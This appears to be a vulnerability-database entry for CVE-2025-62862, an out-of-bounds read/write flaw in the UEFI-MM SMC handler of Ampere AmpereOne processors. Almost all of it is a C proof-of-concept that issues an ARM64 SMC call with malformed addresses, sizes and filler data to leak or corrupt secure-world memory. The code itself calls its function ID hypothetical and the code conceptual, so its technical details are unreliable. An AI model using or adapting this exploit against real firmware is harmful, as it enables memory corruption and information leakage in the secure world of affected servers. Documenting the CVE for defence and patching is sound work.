CVE-2025-62862: Ampere AmpereOne UEFI-MM SMC调用越界读写漏洞

// CVE-2025-62862 PoC - Conceptual SMC Call Trigger // This PoC demonstrates the concept of triggering the vulnerable SMC call // Note: Actual exploitation requires ARM64 environment and UEFI-MM access #include <stdio.h> #include <stdint.h> // SMC function IDs (hypothetical values for demonstration) #define SMC_CALL_BOOT_ERROR_RECORD 0xC4000060 #define SMC_CALL_ID_MASK 0xFFFFFFFF // Boot Error Record Table structure (simplified) struct boot_error_record { uint64_t record_id; uint64_t buffer_addr; uint64_t buffer_size; uint32_t flags; }; // Trigger vulnerable SMC call with malformed parameters void trigger_vulnerable_smc(uint64_t func_id, uint64_t arg0, uint64_t arg1, uint64_t arg2) { register uint64_t x0 asm("x0") = func_id; register uint64_t x1 asm("x1") = arg0; register uint64_t x2 asm("x2") = arg1; register uint64_t x3 asm("x3") = arg2; // SMC instruction - transition to secure monitor mode __asm__ volatile("smc #0" : "+r"(x0), "+r"(x1), "+r"(x2), "+r"(x3)); } int main() { printf("[*] CVE-2025-62862 PoC - AmpereOne UEFI-MM SMC Vulnerability\n"); printf("[*] Target: Ampere AmpereOne AC03/AC04/M devices\n\n"); // Out-of-bounds read trigger printf("[>] Triggering OOB Read - Leaking Secure-EL0 information\n"); struct boot_error_record record = { .record_id = 0x01, .buffer_addr = 0xFFFFFFFFFFFFFFFF, // Invalid address .buffer_size = 0x10000, // Large size .flags = 0x00 }; trigger_vulnerable_smc( SMC_CALL_BOOT_ERROR_RECORD, (uint64_t)&record, 0xFFFFFFFF, // Malformed parameter 0x00 ); printf("[>] Triggering OOB Write - Corrupting Secure/Non-Secure memory\n"); // Out-of-bounds write trigger trigger_vulnerable_smc( SMC_CALL_BOOT_ERROR_RECORD, 0x00, 0xFFFFFFFFFFFFFFFF, // Invalid write address 0x4141414141414141 // Malicious data ); printf("[!] Note: Actual exploitation requires UEFI-MM access and proper ARM64 environment\n"); return 0; }